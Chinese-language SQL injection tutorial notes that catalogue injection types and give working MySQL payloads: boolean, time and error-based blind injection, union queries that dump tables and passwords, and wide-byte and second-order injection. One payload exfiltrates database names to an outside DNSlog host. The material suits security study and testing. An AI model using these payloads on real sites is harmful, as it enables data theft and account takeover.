注:ANSI,美国国家标准化组织
目前的web大多是前后端分离,在固定前端页面上,通过不同参数去调用数据中的内容,如果这个过程中我们拼接了恶意语句并且没有被过滤掉,那么数据库很有可能会执行我们的恶意语句,从而导致攻击者可以通过拼接恶意语句来达到操作数据库,获得数据库的敏感信息,产生极大的危害
例子
$sql = 'select * from test where id='.$_GET['id'];
假设这里没有任何的过滤,那么当我们输入2的时候语句为
select * from test where id=2
当我们输入2 and 1=1的时候,发现页面页面正常回显,输入2 and 1=2的时候页面回显不正常
select * from test where id=2 and 1=1 正常
select * from test where id=2 and 1=2 回显不正常
很明显sql的查询语句把我们拼接的代码带入执行了,黑客可以通过拼接别的语句获取更多的信息,从而完成一次注入攻击
3.1注入点类型分类
3.1.1数字型注入
当我们访问页面时经常会出现http:xxx.admin.com?id=1这种形式的url,这个时候我们输入and 1=1与and 1=2,进行判定看是否会出现and 1=1回显正常,and 1=2回显不正常的情况。如果出现了我们一般就认为这里存在注入,并且是数字型注入。如果没有出现那么并不能排查这里没有注入,只是排除这里不存在数字型的注入。
数字型注入还可以利用数字的增减操作进行布尔盲注,避免使用and,or 等敏感词
id=3-1
id=1%2b1
3.1.2字符型
http:xxx.admin.com?id=1同样的url,我们输入 ‘ 看是否会出现报错的现象。如果存在我们可以进一步的闭合我们的语句。
select * from table where id='1'
加入’ and 1=1 #
select * from table where id='1' and 1=1 # '
3.1.3搜索型注入
搜索框内会使用这样形式的sql语句进行查询
SELECT*from test where names like '%要查询的关键字%'
我们写入类型这样的语句进行闭合 %’ and 1=1 #
SELECT*from test where names like '%要查询的关键字%' and 1=1 # % '
3.2按照数据提交方式
3.2.1get注入
数据以get的方式进行提交。注入点一般在get提交的url后,可以通过bp抓包进行查找
3.2.2post注入
数据以post的方式进行提交。注入点一般表单的填写处,如资料的填写等地方较为常见,可以通过bp抓包进行查找
3.2.3http头部注入
user-agent:判定用户使用的操作系统,以及使用的浏览器的版本
cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡
x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
client-ip: 数据库保存客户端IP的参数
rerferer:浏览器向web端表明自己从哪个连接而来
host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
3.3按照执行效果
3.3.1盲注
3.3.1.1布尔盲注
特点:以页面回显的内容的不同作为判定依据。
id=1 and 1=1
id=1 and 1=2
id=1 and user()=‘root@localhost’
id=1 and substr((select user()),1,1)= ‘r’
id=1 and ascii(substr((select
user()),1,1))= 114
3.3.1.2时间盲注
时间盲注,以回显的时间长短作为判断依旧
id=1 and sleep(2)
id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)
3.3.1.3dnslog盲注
id=2 and 1=(selectload_file(concat('\\\\',hex(database()),'.pk4qft.dnslog.cn\\test')))
3.3.2报错注入
关键函数:
1.floor
id=1 and
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group
by x)a);
2.extractvalue()
id=1 and
(extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
id=1 and (updatexml(1,concat(0x7e,(select
user()),0x7e),1));
4.geometrycollection()
id=1 and geometrycollection((select *
from(select * from(select user())a)b));
5.multipoint()
id=1 and multipoint((select * from(select
* from(select user())a)b));
6.polygon()
id=1 and polygon((select * from(select *
from(select user())a)b));
7.multipolygon()
id=1 and multipolygon((select *
from(select * from(select user())a)b));
8.linestring()
id=1 and linestring((select * from(select
* from(select user())a)b));
9.multilinestring()
id=1 and multilinestring((select *
from(select * from(select user())a)b));
10.exp()
id=1 and exp(~(select * from(select
user())a));
3.3.3联合查询
特点:联合注入使用了union select联合查询,常用来拼接在where后面,并且通过报错的方式显示显位
优势:联合注入通过显位的方式可以快速的爆出数据
缺点:缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。并且必须用到union和select两个关键字,并且这两个关键字也很容易被拦截
关键函数:union select、group_concat
http://127.0.0.1/news.php?id=1
http://127.0.0.1/news.php?id=1 order by 4
http://127.0.0.1/news.php?id=-1 union
select 1,2,3,4
http://127.0.0.1/news.php?id=-1 union
select user(),2,3,4
sql语句为
select * from news where id = $id;
确定列数
select * from news where id = 1 order by
4
显示回显位
select * from news where id = -1 union
select 1,2,3,4
通过回显位爆出内容
select * from news where id = -1 union
select user(),2,3,4
进而爆库,表,列,值。
select * from news where id = -1 union
select database(),2,3,4
select * from news where id =
-1 union select group_concat(schema_name),2,3,4 from information_schema.schemata
select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()
select * from news where id =
-1 union select group_concat(table_name),2,3,4 from information_schema.tables
where table_schema=database()
select * from news where id =
-1 union select group_concat(column_name),2,3,4 from information_schema.columns
where table_name= 'user' and table_schema=database()
select * from news where id = -1 union
select group_concat(password),2,3,4 from user
3.3.4堆叠注入
特点:
语句
id=1;select user();
3.3.5宽字节注入
特点:
语句
url编码
’ %27
\ %5c
%bf \'=%bf%5c%27=縗'
闭合过程
select * from user where id='$id';
Select * from user where id='1\'and 1=\'1';
Select * from user where id='1縗'and 1=縗'1' ;
注:%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以,只要是可以跟我们的反斜杠%5c能够组成汉字,完成单引号逃逸的都是可以使用的
3.3.6二次注入
特点:sql语句的变量并不是直接传入的变量,而是通过其它的方式保存到了数据库,形成二次注入
例子:
比如注册一个用户名为 admin’ #的用户,注册时并无SQL注入,修改密码时的SQL语句为。
update user set password='$password' where username='admin' #'
导致越权修改了admin的密码。
3.4注入拼接位置
3.4.1where注入
select * from news where id = $id and data < '$data';
select * from news where id = 1 and 1=1 and data < 'test'and 1='1';
delete from user where id =$id;
delete from user where id =1 and 1=1;
3.4.2order by注入
select * from user order by $id;
select * from user order by 1 desc/asc
select * from user order by sleep(2);
select * from user order by rand(1=2);
select * from user order by updatexml(1,concat(0x7e,(select user()),0x7e),1);
3.4.3limit注入
select * from user limit $limit, $size
select * from user limit 1 into @,@,@,@;
select * from user limit 1 into outfile 'D://1.txt';
select * from user limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);
select * from user limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(mid(user(),1,1)
LIKE 'r', BENCHMARK(5000000,SHA1(1)),1)))),1);
3.4.4values注入
insert into `test`.`log`(`log`) VALUES('$log');
insert into `test`.`log`(`log`) VALUES('testsetset'or sleep(5)) # ');
insert into `test`.`log`(`log`) VALUES('testsetset' and extractvalue(1,concat(0x7e,(select @@version),0x7e))) # ')
insert into `test`.`log`(`log`) VALUES('1'+if((1=1),sleep(2),1)) # ')
参考:
limit实例:https://blog.csdn.net/tian_ci/article/details/85700929
substr实例:https://www.runoob.com/php/func-string-substr.html
count函数:https://www.runoob.com/sql/sql-func-count.html
xtype:https://blog.csdn.net/qq_39654116/article/details/105438947